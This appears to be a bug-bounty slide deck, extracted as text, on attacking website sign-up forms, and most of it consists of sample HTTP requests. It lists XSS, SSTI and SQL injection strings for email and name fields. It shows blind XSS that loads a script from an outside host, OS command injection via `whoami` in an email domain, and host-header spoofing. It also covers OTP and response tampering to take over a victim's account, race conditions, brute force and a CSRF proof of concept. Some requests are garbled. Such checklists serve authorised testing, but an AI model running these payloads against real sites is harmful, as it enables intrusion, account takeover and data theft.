



Try To Sign Up On Web AND Mobile App To Understand How Company Deal With Registration And Read The Received Email To Know What is Reflected

• Sildes

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POST /signUp HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

Content-Length: Number

firstname=I&lastname=am&email=me@gmail.com &password=*****&captcha=Random&token=CSRF



If You Need Business Email Try To Use username@bugcrowdninja.com OR username@wearehackerone.com

- b Docs
- 1 Docs

POST /signUp HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

Content-Length: Number

email=username@wearehackerone.com&password=*****&ca

ptcha=Random&token=CSR&Ffirstname=I&lastname=am



Note That, Gmail Treats Me@gmail.com AND Me+1@gmail.com As One Email, So When You Need To Create Multi Accounts, Use This Feature

- 1 Writeup
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user+1@gmail.com
user+2@gmail.com
user+ANYSTRING@gmail.com
user@gmail.com
use.r@gmail.com
us.er@gmail.com
us.er@gmail.com



You Can Use Burp Suite Collaborator To Create Multi Accounts e.g. me@one.id.collaborator.net, me@two.id.collaborator.net etc



me@one.id.collaborator.net me@two.id.collaborator.net me@three.id.collaborator.net me@four.id.collaborator.net

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If There Is Google's ReCAPTCHA Try To Configure TLS Pass Through Of Burp Suite e.g. .*google.com.*

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Steps to produce :-

- 1 Go To Burp Suite Project Configurations
- 2 Go To TLS Pass Through
- 3 Click Add Then Enter

..*google.com.



Try To Sign Up With Existing Email Address e.g. existing@gmail.com, Sometimes Authorization Token Will Reflect In Response



Writeup



Writeup

POST /signUp HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

Content-Length: Number

firstname=I&lastname=am&email=existing@gmail.com

&password=*****&captcha=Random&token=CSRF



Try To Sign Up With Company Mail Address e.g. admin@company.com To Gain Extra Authorities OR Get More Functionalities







Writeup

POST /signUp HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

Content-Length: Number

firstname=I&lastname=am&email=admin@company.com &password=*****&captcha=Random&token=CSRF



Try To Sign Up With Company Mail Address Plus Space e.g. 'admin@company.com 'To Gain Extra Authorities OR Get More Functionalities

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POST /signUp HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

Content-Length: Number

firstname=I&lastname=am&email=admin@company.com

&password=*****&captcha=Random&token=CSRF



Try To Sign Up With Company Capitalize Mail Address e.g. admin@COMPANY.COM To Gain Extra Authorities OR Get More Functionalities

• 🧡 Two

Tweet POST /signUp HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

Content-Length: Number

firstname=I&lastname=am&email=admin@COMPANY.COM

&password=*****&captcha=Random&token=CSRF

Try To Sign Up With Company Mail Address In This List To Gain Extra Authorities OR Get More Functionalities

- Sildes
- **Tweet**

admin@gmail.com@company.com
me+(@gmail.com)@company.com
"me@gmail.com"@company.com
"me@gmail.com>"@company.com
"me@gmail.com;"@company.com
"me@gmail.com+"@company.com

Try To Sign Up With Company Mail Address In This List To Gain Extra Authorities OR Get More Functionalities



Tweet

admin@googlemail.com@company.com
me+(@googlemail.com)@company.com
"me@googlemail.com"@company.com
"e@googlemail.com;"@company.com
"me@googlemail.com;"@company.com
"me@googlemail.com+"@company.com

Try To Sign Up By Using This List Of Payloads As Email Addresses To Get XSS, SSTI, SQLi OR Abusing Of Database

- Tweet
- Tweet
- Tweet
- ▶ Video
- M Writeup

me(<script>alert(0)</script>)@gmail.com
me@gmail(<script>alert(0)</script>).com
"<script>alert(0)</script>"@gmail.com
"<%= 7 * 7 %>"@gmail.com
me+(\${{7*7}})@gmail.com
" OR 1=1 -- "@gmail.com
"me); DROP TABLE users;--"@gmail.com
%@gmail.com

Try To Sign Up By Using This List With Burp Collaborator Mail Address To Get Backend Information OR Internal IPs



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- Tweet
- Video
- Blog

me@id.collaborator.net me@[id.collaborator.net]

user(;me@id.collaborator.net)@gmail.com

me@id.collaborator.net(@gmail.com)

me+(@gmail.com)@id.collaborator.net

<me@id.collaborator.net>user@gmail.com



Sometimes They Ping Your Host Before Sending A Mail So Try To Sign Up By Using Burp Collaborator Mail Address with Injection OS Command To Get RCE

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POST /signUp HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Origin: https://www.company.com

Content-Length: Number

firstname=I&lastname=am&email=me@`whoami`.id.collaborat

or.net &password=******* &captcha=Random&token=CSRF



Try To Sign Up With Company Mail Address e.g. admin@company.com Then Try To Access To All Endpoints Of The Company Without Verifying admin@company.com



Writeup

POST /signUp HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

Content-Length: Number

firstname=I&lastname=am&email=admin@company.com&password=*****&captcha=Random&token=CSRF



If Company Accepted admin@company.com As Email Address But You Can't Activate It, Try To Spoof Host Header e.g X-Forwarded-Host OR X-Host

• Mine

POST /signUp HTTP/1.1

Host: www.company.com
X-Forwarded-Host: me.com

User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Origin: https://www.company.com

Content-Length: Number

firstname=l&lastname=am&email=admin@gmail.com&password=

*******&captcha=Random&token=CSRF



Try To Insert SSTI Payloads e.g. {{7*7}}, {7*7} OR \${7*7} In Username, First Name OR Last Name

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Blog

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Blog

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Blog

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Writeup

• **M**

Writeup

POST /signUp HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

Content-Length: Number

firstname={{7*7}} &lastname={{7*7}} &username={{7*7}} &email=me&password=***** &captcha=Random&token=CSRF



Try To Insert <% In Username, First Name OR Last Name, So If <% Reflected In Email Body Try To Inject <%= 7 * 7 %> To Get SSTI



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Try To Set Your Name, First Name, Last Name etc As Blind XSS e.g. "><script src=//me.xss.ht></script> To Get BXSS In Admin Panel

• 1 Writeup

POST /signUp HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Content-Length: Number

firstname="><script src=//me.xss.ht></script>

&lastname="><script src=//me.xss.ht></script>&

email=me@gmail.com&password=********&captcha=Random

&token=CSRF

Try To Set Your Name, First Name, Last Name etc As Blind XSS e.g. img src="//me.xss.ht"> To Get BXSS In Admin Panel



Blog

POST /signUp HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Content-Length: Number



Try To Set Password As Blind XSS e.g. "><script src=//me.xss.ht></script> OR XSS Payload To Know If Your Password Reflect Plaintext In Backend OR Not

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• Writeup

POST /signUp HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

Content-Length: Number

firstname=I&lastname=am&email=me&password="><script src=//me.xss.ht></script>&captcha=Random&token=CSRF



Try To Set Your Name, First Name, Last Name etc As TRUE, NULL, UNDEFINED etc

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POST /signUp HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

Content-Length: Number

firstname=TRUE&lastname=TRUE&email=me@gmail.com&pass

word=***********&captcha=Random&token=CSRF



Try To Insert Invisible Range %00 To %FF in Your Email OR Username e.g. Victim's Username is bob, You Can't Register it So Use bob%00 OR %01bob

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- 11 Writeup

OXACB'S BUG BOUNTY TIP

From %00 to %FF

Fuzz non-printable characters in any user input! This may result in:

- Regex bypasses (blacklists)
- Account takeover (e-mail, username)
- Memory corruption

Try To Insert Large String 50.000+ Characters OR Numbers in POST Parameters
To Cause Errors Exposing Sensitive Information

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Go big or go home.

"Large values in POST params may cause verbose (SQL) errors leaking sensitive data, code and even creds!"

String: AAAAAAAAA...
Number: 9e999



Try To Set Password e.g. **%01%E2%80%AEalert%0D%0A** Then Try To Log In Only Using **%01**, Log In Without CRLF And Is trela Accepted Instead Of alert?

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Blog

POST /signUp HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

Content-Length: Number

firstname=I&lastname=am&email=me&password=%01%E2%80 %AEalert%0D%0A&captcha=Random&token=CSRF

If The Company Uses Invitation To Create Account Try To Use Race Condition Technique To Create Multi Accounts By Using Only One Invitation

• 1 Writeup

POST /signUp HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

Content-Length: Number

Accept-Encoding: gzip, deflate

email=m&password=******&Invitation=Random



Try To Do Brute Force To Create Multi Accounts OR Enumerate Email Addresses If The Company Doesn't Send Activation Link To Your Account

• 1 Writeup

• 1 Writeup

POST /signUp HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

Content-Length: Number

Accept-Encoding: gzip, deflate

email=me@gmail.com&password=*******



Try To Insert SQLi Payloads e.g. 'AND '1' = '2 OR ";WAITFOR DELAY '0.0.20'--OR Blind XSS In User-Agent



POST /signUp HTTP/1.1

Host: www.company.com

User-Agent: Mozilla/5.0' AND '1' = '2

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

Content-Length: Number

captcha=Random&token=CSRF



Try To Inject Blind XSS e.g. "><script src=//me.xss.ht></script> OR Time-Based SQLi e.g. ";WAITFOR DELAY '0.0.20'-- In X-Forwarded-For Header

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Try To Set Your Birthday Today OR Tomorrow To Test Functionality Of Buying Giftcards With Birthday Discounts

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Tweet

POST /signUp HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

Content-Length: Number

firstname=l&lastname=am&email=me@gmail.com&birthday=
Today&password=*****&captcha=Random&token=CSRF

If You Can Register By Using Mobile-Number, The Server Will Ask You about OTP So Try To Figure Out If OTP Will Expire OR Not, If Not There Is Issue Here

• 1 Writeup

```
HTTP/1.1 200 OK

Access-Control-Allow-Origin: https://www.company.com
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
Content-Length: length

{
    "status": 1,
    "message": "OTP Matched Successfully"
}
```

If You Can Register By Using Mobile-Number, The Server Will Ask You about OTP So Try To Manipulate The Response If You Entered a Wrong Mobile-Number



```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.company.com
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
Content-Length: length

{
    "status": 1,
    "message": "OTP Matched Successfully"
}
```

Try To change Any UUID e.g. ID, Email OR Phone In The Response To UUID Of Victim Account While Intercepting Response Of Request Of The Sign Up



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HTTP/1.1 200 OK

Access-Control-Allow-Origin: https://www.company.com

Access-Control-Allow-Credentials: true

Content-Type: application/json; charset=utf-8

Content-Length: length

```
{
    "email" : "victim@gmail.com" ,
    "redirect" : "/dashboard"
}
```

If There Isn't CSRF Token OR Anti-CSRF, Try To Create CSRF POC

• 1 Writeup

```
<html>
<body><form method="POST"
action="https://www.company.com">
<input type="text" value="me@gmail.com"
name="email">
<input type="text" value="Secrete" name="password">
<input type="submit" value="Click">
</form></body>
</html>
```

Retrieve Data From **Deleted Account**, By Signing Up With the Old-Email Address That Was Associated To it



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Thank You

Mahmoud M. Awali
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